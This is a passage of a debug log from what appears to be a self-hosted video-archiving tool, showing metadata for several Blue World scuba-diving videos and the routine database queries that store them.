Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "duration" => 1640, "filename" => "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", "id" => "xqIdz7rvhZY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=xqIdz7rvhZY", "playlist_index" => 1, "timestamp" => 1779544806, "title" => "Diving the INCREDIBLE Sea of Cortez!", "upload_date" => "20260523"} 19:01:39.899 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=677.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:39.900 [debug] QUERY OK source="sources" db=0.5ms idle=678.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:39.903 [debug] QUERY OK source="media_items" db=2.5ms idle=679.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 14:00:06Z], 34] 19:01:39.905 [debug] QUERY OK source="media_items" db=0.9ms idle=682.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "c96c7e7c-ede1-426b-8290-2cea9c7a8178", "xqIdz7rvhZY", false, "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, [], 1640, false, 1, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, false, 98, ~U[2026-05-23 14:00:06Z], ~U[2026-06-02 23:01:39Z], ~U[2026-06-02 23:01:39Z], "Jonathan and Christine travel to La Paz where they explore a sea once called \"The World's Aquarium\" by famous underwater explorer Jacques Cousteau. Working with Carey Dive Center, they visit a shipwreck hosting a massive school of grunts, a reef with fish being stalked by a cormorant, a colony of playful sea lions, and feeding whale sharks! All in once place! It's an epic underwater adventure!\n\nCheck out Carey Dive Center:\nhttps://buceocarey.com.mx/\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving #seaofcortez #lapaz \n\nChapters:\n0:00 Intro\n1:55 Heading out\n3:00 Wreck Dive\n7:14 Reef dive with cormorant\n11:40 Visiting La Paz\n12:45 Los Islotes sea lion colony\n20:00 Sea lions in a cave\n23:00 Whale Sharks\n26:22 Summary and Credits", "Diving the INCREDIBLE Sea of Cortez!", "xqIdz7rvhZY", "https://www.youtube.com/watch?v=xqIdz7rvhZY", 34, 1640, false, "/downloads/rory/BlueWorldTV/2026-05-23 Diving the INCREDIBLE Sea of Cortez!/Diving the INCREDIBLE Sea of Cortez! [xqIdz7rvhZY].mp4", false, ~U[2026-05-23 14:00:06Z]] 19:01:39.905 [debug] QUERY OK source="sources" db=0.1ms idle=21.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:39.905 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:39.906 [debug] QUERY OK source="media_items" db=0.1ms idle=5.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [138836] 19:01:39.906 [debug] Current batch of media processed. Will check again in 1000ms 19:01:40.907 [debug] Current batch of media processed. Will check again in 1000ms 19:01:41.908 [debug] Current batch of media processed. Will check again in 1000ms 19:01:42.910 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "duration" => 3615, "filename" => "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", "id" => "tcF5D-0nX_Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tcF5D-0nX_Y", "playlist_index" => 2, "timestamp" => 1778335283, "title" => "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "upload_date" => "20260509"} 19:01:42.911 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1689.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:42.912 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1690.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:42.915 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=1691.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 14:01:23Z], 34] 19:01:42.917 [debug] QUERY OK source="media_items" db=0.9ms idle=1029.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "b1f097c9-6f92-415a-9723-9a4eb2d5a0f8", "tcF5D-0nX_Y", false, "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, [], 3615, false, 2, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, false, 98, ~U[2026-05-09 14:01:23Z], ~U[2026-06-02 23:01:42Z], ~U[2026-06-02 23:01:42Z], "In this hour-long scuba diving adventure, the Blue World team travels to Palau and discovers all the reasons Palau is considered one of the best dive destinations in the world. From reefs to sharks to wrecks to caves and jellyfish lake, Palau has it all. Sit back and join the adventure!\n\nThis content was originally released as five individual webisodes. Here it is presented as a full-length documentary. Filmed in 2019.\n\nVisit Palau with Aggressor Fleet:\nhttps://www.aggressor.com/destination/palau\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Intro\n3:00 The first dive\n12:40 Night Dive\n14:30 Jellyfish Lake\n21:50 Wreck Diving\n38:05 Sharks and Strong current\n49:20 Cave Dive\n53:00 Bumphead Parrotfish Spawning\n58:45 Summary & Credits", "Palau Dive Expedition! | BLUE WORLD DOCUMENTARY", "tcF5D-0nX_Y", "https://www.youtube.com/watch?v=tcF5D-0nX_Y", 34, 3615, false, "/downloads/rory/BlueWorldTV/2026-05-09 Palau Dive Expedition! | BLUE WORLD DOCUMENTARY/Palau Dive Expedition! | BLUE WORLD DOCUMENTARY [tcF5D-0nX_Y].mp4", false, ~U[2026-05-09 14:01:23Z]] 19:01:42.917 [debug] QUERY OK source="sources" db=0.1ms idle=29.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:42.918 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:01:42.918 [debug] QUERY OK source="media_items" db=0.2ms idle=5.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [135505] 19:01:42.918 [debug] Current batch of media processed. Will check again in 1000ms 19:01:43.919 [debug] Current batch of media processed. Will check again in 1000ms 19:01:44.920 [debug] Current batch of media processed. Will check again in 1000ms 19:01:45.921 [debug] Current batch of media processed. Will check again in 1000ms 19:01:46.922 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the world.\nhttps://dive3d.eu/\n\nThank you so much to our channel members and Patreon supporters who help keep us going!\n\nPLEASE REMEMBER that wreck diving (and in fact all scuba diving) requires special training and equipment. This program is not a substitute for proper training and equipment!\n\nJONATHAN BIRD'S BLUE WORLD is an Emmy Award-winning underwater science/adventure series featuring underwater cinematographer/naturalist Jonathan Bird.\n\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n● Subscribe to Blue World\nhttps://www.youtube.com/c/BlueWorldTV/?sub_confirmation=1\n\n● Make a donation!\nhttps://www.zeffy.com/en-US/donation-form/blue-world\n\n● Become a Member\nhttps://www.youtube.com/channel/UCFH-Qa1s6rQRTrQjFg8N84Q/join\n\n● Check out our Extras Channel\nhttps://www.youtube.com/channel/UCXRF_NqOUBJszlmqBJVBkYA\n\n● Blue World Merch\nhttp://www.blueworldtv.com/shop\n\n● Support us on Patreon\nhttp://patreon.com/BlueWorldTV\n\n● Instagram\nhttps://www.instagram.com/blueworldtv/\n\n● Facebook\nhttps://www.facebook.com/BlueWorldTV\n\n● Twitter\nhttps://twitter.com/BlueWorld_TV\n\n● Website\nhttp://www.blueworldTV.com\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n\n#scubadiving \n\nChapters:\n0:00 Tease & Introduction\n2:45 Arrive in Chuuk\n4:20 Dive on Unkai Maru\n10:50 Dive on the Hoki Maru\n19:00 Close and Credits", "duration" => 1212, "filename" => "/downloads/rory/BlueWorldTV/2026-04-11 The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]/The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4] [f9zJLNVZhPg].mp4", "id" => "f9zJLNVZhPg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=f9zJLNVZhPg", "playlist_index" => 3, "timestamp" => 1775916006, "title" => "The LOST TRUCKS of Truk Lagoon! [Chuuk Diving Adventure Part 4]", "upload_date" => "20260411"} 19:01:46.923 [debug] QUERY OK source="sources" db=0.2ms idle=701.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [34] 19:01:46.923 [debug] QUERY OK source="sources" db=0.1ms idle=701.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [34] 19:01:46.924 [debug] QUERY OK source="media_items" db=0.9ms idle=701.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-11 14:00:06Z], 34] 19:01:46.926 [debug] QUERY OK source="media_items" db=1.1ms idle=703.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The Blue World team continues exploring the wrecks of Chuuk (Truk) lagoon in this fourth installment of the Chuuk adventure series. In this adventure we explore the wrecks of the Unkai Maru and the Hoki Mari, in particular the amazing trucks found in the hold of the Hoki Maru.\n\nWARNING! WRECK DIVING IS DANGEROUS AND REQUIRES TECHNICAL DIVE TRAINING! DO NOT ATTEMPT TO DIVE WRECKS WITHOUT PROPER TRAINING!\n\nThis is PART 4 of the Chuuk adventure! Have you seen PARTS 1-3?\nhttps://youtu.be/N1tKGFoW7W8\nhttps://youtu.be/h2NPGc12V-4\nhttps://youtu.be/LKKh2j6XvUY\n\nSpecial thanks to the amazing Truk Odyssey liveaboard in Chuuk. If you want to dive Chuuk, we can't say enough great things about this vessel and the crew!\nhttps://trukodyssey.com/\n\nCheck out our video of a tour of the Truk Odyssey live-aboard on @BlueWorldplus :\nhttps://youtu.be/YaCJumGjM4E\n\nAlso check out the website of Holger Buss who makes incredibly cool 3D models of wrecks all over the 